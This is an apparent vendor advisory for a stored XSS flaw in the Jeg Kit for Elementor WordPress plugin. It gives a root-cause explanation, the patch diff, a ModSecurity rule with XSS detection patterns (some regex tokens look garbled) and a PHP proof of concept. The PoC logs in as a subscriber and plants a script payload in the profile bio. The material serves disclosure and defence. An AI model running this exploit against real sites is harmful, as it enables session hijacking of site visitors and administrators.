Opens in a new tab
Published : November 17, 2026

CVE-2026-116594: Jeg Kit for Elementor <= 3.3.0 Authenticated (Subscriber+) Stored Cross-Site Scripting via 'Biographical Info' Field PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 3.3.0
Patched Version 3.3.1
Disclosed November 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-116594:

Atomic Edge analysis of CVE-2026-116594: The Jeg Kit for Elementor plugin for WordPress (versions up to and including 3.3.0) contains an authenticated (Subscriber+) stored cross-site scripting vulnerability. The flaw resides in the Post Author widget’s ‘user_bio’ rendering mode, where the plugin outputs the user’s biographical information without proper sanitization or escaping. An attacker with a subscriber-level account can inject arbitrary JavaScript into the ‘Biographical Info’ field. When a published page contains the Post Author widget in user_bio mode, the malicious script executes for any visitor, including administrators. The CVSS score is 6.4 (Medium).

The root cause is the lack of output escaping when retrieving and displaying the user’s biography. In the file class/elements/views/class-post-author-view.php, the ‘user_bio’ case (around line 88-91) calls get_the_author_meta( ‘description’, $post->post_author ) directly and assigns the result to $author, which is later rendered without sanitization. The plugin’s helper functions jkit_allowed_html (in helper.php) and jeg_allowed_html (in lib/jeg-framework/util/framework-helper.php) historically only allowed HTML for comment and post contexts, not for ‘pre_user_description’. This omission means that typical WordPress kses filtering for user descriptions is not applied when the plugin retrieves the bio for its own output. Consequently, unfiltered HTML, including script tags, can be stored and later executed.

An attacker with subscriber access logs into WordPress and edits their profile, setting the ‘Biographical Info’ field to a malicious payload such as alert(‘XSS’) or a more sophisticated script that steals cookies or performs actions on behalf of an administrator. The attacker then ensures that a published page (e.g., a post or page) includes the Post Author widget configured to display the user’s bio. Additionally, the page must contain at least one legitimate jkit_client_logo widget so that the client-logo.js script is enqueued and its loadCarousel handler processes the forged widget markup from the bio field. When a victim visits that page, the stored script executes in the context of the site, potentially leading to session hijacking, data theft, or privilege escalation.

The patch (version 3.3.1) addresses the vulnerability by sanitizing the bio output. In class-post-author-view.php, the ‘user_bio’ case now wraps the get_the_author_meta() call with wp_kses(), using the allowed HTML tags from wp_kses_allowed_html( ‘pre_user_description’ ). This ensures that only safe HTML is output, stripping any script tags or dangerous attributes. Additionally, the plugin’s own allowed HTML functions (jkit_allowed_html and jeg_allowed_html) were updated to include ‘pre_user_description’ in their context lists, aligning with WordPress’s built-in kses filtering for user descriptions. The patch also increments the plugin version to 3.3.1 and updates other unrelated components (WPML integration, CSS handling) but these do not directly affect the vulnerability.

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of users who view the affected page. This can lead to cookie theft, session hijacking, redirection to malicious sites, or actions performed with the victim’s privileges (including administrative actions if an admin views the page). Since subscriber-level accounts are often easily obtained (e.g., via registration or comments), this vulnerability poses a significant risk to site integrity and user security. The impact is amplified because the stored payload persists until removed, and the required conditions (Post Author widget in user_bio mode plus a client logo widget) are plausible on many sites using the plugin.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/jeg-elementor-kit/class/elements/views/class-post-author-view.php
+++ b/jeg-elementor-kit/class/elements/views/class-post-author-view.php
@@ -88,7 +88,7 @@
 				$author = get_the_author_meta( 'user_login', $post->post_author );
 				break;
 			case 'user_bio':
-				$author = get_the_author_meta( 'description', $post->post_author );
+				$author = wp_kses( get_the_author_meta( 'description', $post->post_author ), wp_kses_allowed_html( 'pre_user_description' ) );
 				break;
 			case 'user_image':
 				$author = get_avatar( get_the_author_meta( 'email', $post->post_author ), 256 );
--- a/jeg-elementor-kit/class/integrations/class-wpml.php
+++ b/jeg-elementor-kit/class/integrations/class-wpml.php
@@ -277,6 +277,7 @@
 				$this->field( 'sg_text_before', __( 'Jeg Kit Animated Text: Text: Before Text', 'jeg-elementor-kit' ) ),
 				$this->field( 'sg_text_animated', __( 'Jeg Kit Animated Text: Text: Animated Text', 'jeg-elementor-kit' ) ),
 				$this->field( 'sg_text_after', __( 'Jeg Kit Animated Text: Text: After Text', 'jeg-elementor-kit' ) ),
+				'sg_text_link' => $this->field( 'url', __( 'Jeg Kit Animated Text: Text: Link', 'jeg-elementor-kit' ), 'LINK' ),
 			),
 			'integration-class' => Animated_Text_Module::class,
 		);
--- a/jeg-elementor-kit/class/style/extra/global-buttons-css.php
+++ b/jeg-elementor-kit/class/style/extra/global-buttons-css.php
@@ -30,10 +30,12 @@
 			}
 			break;
 		case 'JButtonsTextShadow':
-			if ( isset( $settings_value['button_text_shadow_text_shadow_type'] ) ) {
-				$text_shadow = $settings_value['button_text_shadow_text_shadow_type'];
+			$text_shadow = isset( $settings_value['button_text_shadow_text_shadow'] ) && is_array( $settings_value['button_text_shadow_text_shadow'] )
+				? $settings_value['button_text_shadow_text_shadow']
+				: ( $settings_value['button_text_shadow_text_shadow_type'] ?? null );

-				$color      = $text_shadow['color'];
+			if ( is_array( $text_shadow ) ) {
+				$color      = $text_shadow['color'] ?? '';
 				$horizontal = ( ! empty( $text_shadow['horizontal'] ) ) ? $text_shadow['horizontal'] . 'px ' : '0 ';
 				$vertical   = ( ! empty( $text_shadow['vertical'] ) ) ? $text_shadow['vertical'] . 'px ' : '0 ';
 				$blur       = ( ! empty( $text_shadow['blur'] ) ) ? $text_shadow['blur'] . 'px ' : '0 ';
--- a/jeg-elementor-kit/helper.php
+++ b/jeg-elementor-kit/helper.php
@@ -908,8 +908,8 @@
 	 * @return array
 	 */
 	function jkit_allowed_html( $allowedtags = array(), $context = '' ) {
-		if ( ! empty( $context ) && in_array( $context, array( 'comment', 'pre_comment_content', 'post_comment', 'post' ), true ) ) {
-			if ( 'comment' === $context || 'pre_comment_content' === $context || 'post_comment' === $context ) {
+		if ( ! empty( $context ) && in_array( $context, array( 'comment', 'pre_comment_content', 'post_comment', 'post', 'pre_user_description' ), true ) ) {
+			if ( 'comment' === $context || 'pre_comment_content' === $context || 'post_comment' === $context || 'pre_user_description' === $context ) {
 				return $allowedtags;
 			}
 		}
--- a/jeg-elementor-kit/jeg-elementor-kit.php
+++ b/jeg-elementor-kit/jeg-elementor-kit.php
@@ -4,7 +4,7 @@
  * Plugin URI: https://jegkit.com/?utm_source=wp-plugins&utm_campaign=plugin-uri&utm_medium=wp-dash
  * Description: Jeg Kit for Elementor (formerly Jeg Elementor Kit) extends Elementor with powerful, customizable widgets and templates — helping you build modern, responsive WordPress websites faster.
  * Requires Plugins: elementor
- * Version: 3.3.0
+ * Version: 3.3.1
  * Author: Jegtheme
  * Author URI: https://jegkit.com/?utm_source=wp-plugins&utm_campaign=plugin-uri&utm_medium=wp-dash
  * License: GPLv3
@@ -20,7 +20,7 @@

 defined( 'JEG_ELEMENTOR_KIT' ) || define( 'JEG_ELEMENTOR_KIT', 'jeg-elementor-kit' );
 defined( 'JEG_ELEMENTOR_KIT_NAME' ) || define( 'JEG_ELEMENTOR_KIT_NAME', 'Jeg Kit' );
-defined( 'JEG_ELEMENTOR_KIT_VERSION' ) || define( 'JEG_ELEMENTOR_KIT_VERSION', '3.3.0' );
+defined( 'JEG_ELEMENTOR_KIT_VERSION' ) || define( 'JEG_ELEMENTOR_KIT_VERSION', '3.3.1' );
 defined( 'JEG_ELEMENTOR_KIT_URL' ) || define( 'JEG_ELEMENTOR_KIT_URL', plugins_url( JEG_ELEMENTOR_KIT ) );
 defined( 'JEG_ELEMENTOR_KIT_FILE' ) || define( 'JEG_ELEMENTOR_KIT_FILE', __FILE__ );
 defined( 'JEG_ELEMENTOR_KIT_BASE' ) || define( 'JEG_ELEMENTOR_KIT_BASE', plugin_basename( __FILE__ ) );
--- a/jeg-elementor-kit/lib/jeg-framework/util/framework-helper.php
+++ b/jeg-elementor-kit/lib/jeg-framework/util/framework-helper.php
@@ -152,7 +152,7 @@
 	 * @return array
 	 */
 	function jeg_allowed_html( $allowedtags, $context = '' ) {
-		if ( ! empty( $context ) && in_array( $context, array( 'comment', 'pre_comment_content', 'post_comment' ), true ) ) {
+		if ( ! empty( $context ) && in_array( $context, array( 'comment', 'pre_comment_content', 'post_comment', 'pre_user_description' ), true ) ) {
 			return $allowedtags;
 		}

--- a/jeg-elementor-kit/lib/vendor/composer/installed.php
+++ b/jeg-elementor-kit/lib/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'jegstudio/jeg-elementor-kit',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => '34ae5c874650c093e99361d72c449c44b78c326c',
+        'reference' => '951b1ee3b80a26eb7a8cad4deb5f9a689059f3c4',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -31,7 +31,7 @@
         'jegstudio/jeg-elementor-kit' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => '34ae5c874650c093e99361d72c449c44b78c326c',
+            'reference' => '951b1ee3b80a26eb7a8cad4deb5f9a689059f3c4',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-116594
# This rule blocks attempts to inject script tags via the 'description' parameter in user profile updates.
# It targets POST requests to /wp-admin/profile.php or /wp-admin/user-edit.php where the 'description' field contains 
# typical XSS patterns such as <script, onerror=, onload=, or javascript:.

SecRule REQUEST_URI "@rx ^/wp-admin/(profile|user-edit).php$" 
  "id:2026116594,phase:2,deny,status:403,chain,msg:'CVE-2026-116594 via profile description XSS',severity:'CRITICAL',tag:'CVE-2026-116594'"
  SecRule ARGS_POST:description "@rx (<script|onerrors*=|onloads*=|javascript:)" 
    "t:urlDecodeUni,t:lowercase,t:removeNulls"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-116594 - Jeg Kit for Elementor <= 3.3.0 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'Biographical Info' Field

// Configurable variables
$target_url = 'http://example.com'; // WordPress site URL
$username = 'subscriber_user'; // Subscriber-level username
$password = 'password123'; // Subscriber-level password
$payload = '<script>alert("XSS")</script>'; // Malicious payload to store in biography

// Initialize cURL session for login and profile update
$ch = curl_init();

// Step 1: Log in as subscriber to obtain session cookies
$login_url = $target_url . '/wp-login.php';
$post_fields = http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Step 2: Update the user's biographical info with the payload
$profile_url = $target_url . '/wp-admin/profile.php';
$profile_fields = http_build_query([
    'action' => 'update',
    'user_id' => '2', // Assuming subscriber user ID is 2; may need to adjust
    'description' => $payload,
    'submit' => 'Update Profile'
]);

curl_setopt($ch, CURLOPT_URL, $profile_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $profile_fields);
$response = curl_exec($ch);

// Step 3: Verify the payload is stored by checking a page with the Post Author widget
// This step assumes such a page exists at a known URL, e.g., /author-page/
$test_url = $target_url . '/author-page/'; // Replace with actual page URL
curl_setopt($ch, CURLOPT_URL, $test_url);
curl_setopt($ch, CURLOPT_HTTPGET, true);
$response = curl_exec($ch);

// Check if payload appears unescaped in the response
if (strpos($response, $payload) !== false) {
    echo "Vulnerable: Payload stored and reflected unescaped.n";
} else {
    echo "Not vulnerable or payload not reflected.n";
}

curl_close($ch);
unlink('cookies.txt');
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.